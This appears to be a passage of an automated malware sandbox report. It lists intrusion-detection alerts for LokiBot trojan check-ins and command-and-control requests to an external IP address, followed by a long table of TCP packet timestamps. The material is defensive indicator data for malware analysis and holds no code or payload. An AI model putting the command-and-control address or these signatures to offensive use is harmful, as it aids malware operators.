02/22/21-19:14:33.411950	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49840	80	192.168.2.4	203.170.84.89
02/22/21-19:14:33.411950	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49840	80	192.168.2.4	203.170.84.89
02/22/21-19:14:33.411950	TCP	2025381	ET TROJAN LokiBot Checkin	49840	80	192.168.2.4	203.170.84.89
02/22/21-19:14:34.725026	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49841	80	192.168.2.4	203.170.84.89
02/22/21-19:14:34.725026	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49841	80	192.168.2.4	203.170.84.89
02/22/21-19:14:34.725026	TCP	2025381	ET TROJAN LokiBot Checkin	49841	80	192.168.2.4	203.170.84.89
02/22/21-19:14:36.028479	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49842	80	192.168.2.4	203.170.84.89
02/22/21-19:14:36.028479	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49842	80	192.168.2.4	203.170.84.89
02/22/21-19:14:36.028479	TCP	2025381	ET TROJAN LokiBot Checkin	49842	80	192.168.2.4	203.170.84.89
02/22/21-19:14:37.334442	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49843	80	192.168.2.4	203.170.84.89
02/22/21-19:14:37.334442	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49843	80	192.168.2.4	203.170.84.89
02/22/21-19:14:37.334442	TCP	2025381	ET TROJAN LokiBot Checkin	49843	80	192.168.2.4	203.170.84.89
02/22/21-19:14:38.623262	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49844	80	192.168.2.4	203.170.84.89
02/22/21-19:14:38.623262	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49844	80	192.168.2.4	203.170.84.89
02/22/21-19:14:38.623262	TCP	2025381	ET TROJAN LokiBot Checkin	49844	80	192.168.2.4	203.170.84.89
02/22/21-19:14:39.953346	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.4	203.170.84.89
02/22/21-19:14:39.953346	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.4	203.170.84.89
02/22/21-19:14:39.953346	TCP	2025381	ET TROJAN LokiBot Checkin	49845	80	192.168.2.4	203.170.84.89
02/22/21-19:14:41.267887	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49846	80	192.168.2.4	203.170.84.89
02/22/21-19:14:41.267887	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49846	80	192.168.2.4	203.170.84.89
02/22/21-19:14:41.267887	TCP	2025381	ET TROJAN LokiBot Checkin	49846	80	192.168.2.4	203.170.84.89
02/22/21-19:14:42.561340	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49847	80	192.168.2.4	203.170.84.89
02/22/21-19:14:42.561340	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49847	80	192.168.2.4	203.170.84.89
02/22/21-19:14:42.561340	TCP	2025381	ET TROJAN LokiBot Checkin	49847	80	192.168.2.4	203.170.84.89
02/22/21-19:14:43.857917	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49848	80	192.168.2.4	203.170.84.89
02/22/21-19:14:43.857917	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49848	80	192.168.2.4	203.170.84.89
02/22/21-19:14:43.857917	TCP	2025381	ET TROJAN LokiBot Checkin	49848	80	192.168.2.4	203.170.84.89
02/22/21-19:14:45.133832	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49849	80	192.168.2.4	203.170.84.89
02/22/21-19:14:45.133832	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49849	80	192.168.2.4	203.170.84.89
02/22/21-19:14:45.133832	TCP	2025381	ET TROJAN LokiBot Checkin	49849	80	192.168.2.4	203.170.84.89
02/22/21-19:14:46.440406	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49850	80	192.168.2.4	203.170.84.89
02/22/21-19:14:46.440406	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49850	80	192.168.2.4	203.170.84.89
02/22/21-19:14:46.440406	TCP	2025381	ET TROJAN LokiBot Checkin	49850	80	192.168.2.4	203.170.84.89
02/22/21-19:14:47.730697	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49851	80	192.168.2.4	203.170.84.89
02/22/21-19:14:47.730697	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49851	80	192.168.2.4	203.170.84.89
02/22/21-19:14:47.730697	TCP	2025381	ET TROJAN LokiBot Checkin	49851	80	192.168.2.4	203.170.84.89
02/22/21-19:14:49.051550	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49852	80	192.168.2.4	203.170.84.89
02/22/21-19:14:49.051550	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49852	80	192.168.2.4	203.170.84.89
02/22/21-19:14:49.051550	TCP	2025381	ET TROJAN LokiBot Checkin	49852	80	192.168.2.4	203.170.84.89
02/22/21-19:14:50.340811	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49853	80	192.168.2.4	203.170.84.89
02/22/21-19:14:50.340811	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49853	80	192.168.2.4	203.170.84.89
02/22/21-19:14:50.340811	TCP	2025381	ET TROJAN LokiBot Checkin	49853	80	192.168.2.4	203.170.84.89
02/22/21-19:14:51.621970	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49854	80	192.168.2.4	203.170.84.89
02/22/21-19:14:51.621970	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49854	80	192.168.2.4	203.170.84.89
02/22/21-19:14:51.621970	TCP	2025381	ET TROJAN LokiBot Checkin	49854	80	192.168.2.4	203.170.84.89
02/22/21-19:14:52.907812	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49855	80	192.168.2.4	203.170.84.89
02/22/21-19:14:52.907812	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49855	80	192.168.2.4	203.170.84.89
02/22/21-19:14:52.907812	TCP	2025381	ET TROJAN LokiBot Checkin	49855	80	192.168.2.4	203.170.84.89
02/22/21-19:14:54.200425	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49856	80	192.168.2.4	203.170.84.89
02/22/21-19:14:54.200425	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49856	80	192.168.2.4	203.170.84.89
02/22/21-19:14:54.200425	TCP	2025381	ET TROJAN LokiBot Checkin	49856	80	192.168.2.4	203.170.84.89
02/22/21-19:14:55.486345	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49857	80	192.168.2.4	203.170.84.89
02/22/21-19:14:55.486345	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49857	80	192.168.2.4	203.170.84.89
02/22/21-19:14:55.486345	TCP	2025381	ET TROJAN LokiBot Checkin	49857	80	192.168.2.4	203.170.84.89
02/22/21-19:14:56.748663	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49858	80	192.168.2.4	203.170.84.89
02/22/21-19:14:56.748663	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49858	80	192.168.2.4	203.170.84.89
02/22/21-19:14:56.748663	TCP	2025381	ET TROJAN LokiBot Checkin	49858	80	192.168.2.4	203.170.84.89

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 22, 2021 19:13:01.722322941 CET	49745	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:02.068474054 CET	80	49745	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:02.068581104 CET	49745	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:02.072160959 CET	49745	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:02.419821978 CET	80	49745	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:02.422183037 CET	49745	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:02.768070936 CET	80	49745	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:02.801673889 CET	80	49745	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:02.801837921 CET	80	49745	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:02.802093983 CET	49745	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:02.802150011 CET	49745	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:03.116241932 CET	49747	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:03.147840977 CET	80	49745	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:03.452878952 CET	80	49747	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:03.453000069 CET	49747	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:03.456110954 CET	49747	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:03.791208982 CET	80	49747	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:03.791301966 CET	49747	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:04.125984907 CET	80	49747	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:04.158847094 CET	80	49747	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:04.159040928 CET	80	49747	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:04.159228086 CET	49747	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:04.159281015 CET	49747	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:04.331841946 CET	49749	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:04.493936062 CET	80	49747	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:04.670717001 CET	80	49749	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:04.670828104 CET	49749	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:04.676480055 CET	49749	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:05.014862061 CET	80	49749	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:05.014952898 CET	49749	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:05.354441881 CET	80	49749	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:05.396814108 CET	80	49749	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:05.397056103 CET	80	49749	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:05.397253990 CET	49749	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:05.397555113 CET	49749	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:05.704830885 CET	49750	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:05.737412930 CET	80	49749	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:06.043128014 CET	80	49750	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:06.046210051 CET	49750	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:06.053559065 CET	49750	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:06.391633034 CET	80	49750	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:06.392352104 CET	49750	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:06.730252028 CET	80	49750	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:06.769673109 CET	80	49750	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:06.769746065 CET	80	49750	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:06.769833088 CET	49750	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:06.769897938 CET	49750	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:07.067527056 CET	49751	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:07.107938051 CET	80	49750	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:07.405133963 CET	80	49751	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:07.405369043 CET	49751	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:07.581440926 CET	49751	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:07.923216105 CET	80	49751	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:07.923393965 CET	49751	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:08.261207104 CET	80	49751	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:08.297547102 CET	80	49751	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:08.297693968 CET	80	49751	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:08.297844887 CET	49751	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:08.754415035 CET	49751	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:09.036272049 CET	49752	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:09.091958046 CET	80	49751	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:09.373982906 CET	80	49752	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:09.374150991 CET	49752	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:09.379899025 CET	49752	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:09.717824936 CET	80	49752	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:09.717972994 CET	49752	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:10.057297945 CET	80	49752	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:10.094573975 CET	80	49752	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:10.094821930 CET	49752	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:10.095177889 CET	80	49752	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:10.095268965 CET	49752	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:10.411180973 CET	49753	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:10.433692932 CET	80	49752	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:10.745512009 CET	80	49753	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:10.746390104 CET	49753	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:10.753897905 CET	49753	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:11.089250088 CET	80	49753	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:11.089572906 CET	49753	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:11.423415899 CET	80	49753	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:11.455200911 CET	80	49753	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:11.455538988 CET	80	49753	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:11.455585003 CET	49753	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:11.455646038 CET	49753	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:11.787161112 CET	49754	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:11.789374113 CET	80	49753	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:12.124365091 CET	80	49754	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:12.124721050 CET	49754	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:12.128792048 CET	49754	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:12.465698957 CET	80	49754	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:12.465974092 CET	49754	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:12.802908897 CET	80	49754	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:12.833798885 CET	80	49754	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:12.833843946 CET	80	49754	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:12.833997965 CET	49754	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:12.834304094 CET	49754	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:13.102169991 CET	49755	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:13.171260118 CET	80	49754	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:13.439296007 CET	80	49755	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:13.439465046 CET	49755	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:13.445902109 CET	49755	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:13.780642033 CET	80	49755	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:13.780885935 CET	49755	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:14.115390062 CET	80	49755	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:14.146862984 CET	80	49755	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:14.147129059 CET	80	49755	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:14.147218943 CET	49755	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:14.147289991 CET	49755	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:14.413026094 CET	49756	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:14.484185934 CET	80	49755	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:14.748071909 CET	80	49756	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:14.748253107 CET	49756	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:14.755155087 CET	49756	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:15.090065956 CET	80	49756	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:15.090272903 CET	49756	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:15.426881075 CET	80	49756	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:15.458630085 CET	80	49756	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:15.458960056 CET	80	49756	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:15.458975077 CET	49756	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:15.459064007 CET	49756	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:15.755651951 CET	49757	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:15.793590069 CET	80	49756	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:16.090509892 CET	80	49757	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:16.090735912 CET	49757	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:16.098573923 CET	49757	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:16.432708979 CET	80	49757	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:16.432831049 CET	49757	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:16.767677069 CET	80	49757	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:16.800559998 CET	80	49757	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:16.800817013 CET	80	49757	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:16.801059961 CET	49757	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:16.801105976 CET	49757	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:17.065048933 CET	49758	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:17.135082960 CET	80	49757	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:17.399919987 CET	80	49758	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:17.400228977 CET	49758	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:17.407438040 CET	49758	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:17.742444038 CET	80	49758	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:17.742592096 CET	49758	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:18.077526093 CET	80	49758	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:18.107852936 CET	80	49758	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:18.108020067 CET	80	49758	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:18.108274937 CET	49758	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:18.108316898 CET	49758	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:18.401227951 CET	49759	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:18.445224047 CET	80	49758	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:18.735865116 CET	80	49759	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:18.736078024 CET	49759	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:18.738996983 CET	49759	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:19.073792934 CET	80	49759	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:19.073930979 CET	49759	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:19.410026073 CET	80	49759	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:19.442205906 CET	80	49759	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:19.442343950 CET	80	49759	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:19.442392111 CET	49759	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:19.442436934 CET	49759	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:19.702821970 CET	49760	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:19.777086973 CET	80	49759	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:20.038129091 CET	80	49760	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:20.039377928 CET	49760	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:20.041934967 CET	49760	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:20.379132032 CET	80	49760	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:20.379368067 CET	49760	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:20.714682102 CET	80	49760	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:20.749983072 CET	80	49760	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:20.750186920 CET	80	49760	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:20.750284910 CET	49760	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:20.751328945 CET	49760	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:20.986237049 CET	49763	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:21.084209919 CET	80	49760	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:21.330612898 CET	80	49763	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:21.330755949 CET	49763	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:21.333542109 CET	49763	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:21.678126097 CET	80	49763	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:21.678217888 CET	49763	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:22.022650003 CET	80	49763	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:22.060681105 CET	80	49763	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:22.060791969 CET	80	49763	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:22.060870886 CET	49763	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:22.060893059 CET	49763	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:22.326782942 CET	49764	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:22.405149937 CET	80	49763	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:22.662787914 CET	80	49764	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:22.666702986 CET	49764	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:22.669300079 CET	49764	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:23.004756927 CET	80	49764	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:23.005808115 CET	49764	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:23.342444897 CET	80	49764	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:23.380831003 CET	80	49764	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:23.381267071 CET	80	49764	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:23.381556988 CET	49764	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:23.381613016 CET	49764	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:23.661341906 CET	49765	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:23.715451002 CET	80	49764	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:24.008467913 CET	80	49765	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:24.008788109 CET	49765	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:24.013552904 CET	49765	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:24.359091043 CET	80	49765	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:24.359314919 CET	49765	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:24.704896927 CET	80	49765	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:24.744710922 CET	80	49765	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:24.744851112 CET	80	49765	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:24.745059967 CET	49765	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:24.752625942 CET	49765	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:25.015988111 CET	49766	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:25.097785950 CET	80	49765	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:25.350769043 CET	80	49766	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:25.350940943 CET	49766	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:25.353621006 CET	49766	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:25.688349962 CET	80	49766	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:25.689847946 CET	49766	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:26.024589062 CET	80	49766	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:26.056929111 CET	80	49766	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:26.057013988 CET	80	49766	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:26.057090998 CET	49766	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:26.057135105 CET	49766	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:26.393157959 CET	80	49766	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:26.616674900 CET	49767	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:26.950714111 CET	80	49767	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:26.950912952 CET	49767	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:26.968743086 CET	49767	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:27.304668903 CET	80	49767	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:27.304826021 CET	49767	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:27.640516996 CET	80	49767	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:27.672360897 CET	80	49767	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:27.672501087 CET	80	49767	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:27.672765970 CET	49767	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:27.676024914 CET	49767	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:27.935020924 CET	49768	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:28.009938955 CET	80	49767	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:28.275243998 CET	80	49768	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:28.275461912 CET	49768	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:28.278127909 CET	49768	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:28.616240025 CET	80	49768	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:28.616413116 CET	49768	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:28.954262972 CET	80	49768	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:28.982165098 CET	80	49768	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:28.982373953 CET	49768	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:28.982688904 CET	80	49768	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:28.982788086 CET	49768	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:29.242129087 CET	49769	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:29.320180893 CET	80	49768	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:29.576837063 CET	80	49769	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:29.577001095 CET	49769	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:29.579658985 CET	49769	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:29.915239096 CET	80	49769	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:29.916177034 CET	49769	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:30.252321005 CET	80	49769	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:30.280127048 CET	80	49769	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:30.280208111 CET	80	49769	203.170.84.89	192.168.2.4
Feb 22, 2021 19:13:30.280438900 CET	49769	80	192.168.2.4	203.170.84.89
Feb 22, 2021 19:13:30.280510902 CET	49769	80	192.168.2.4	203.170.84.89
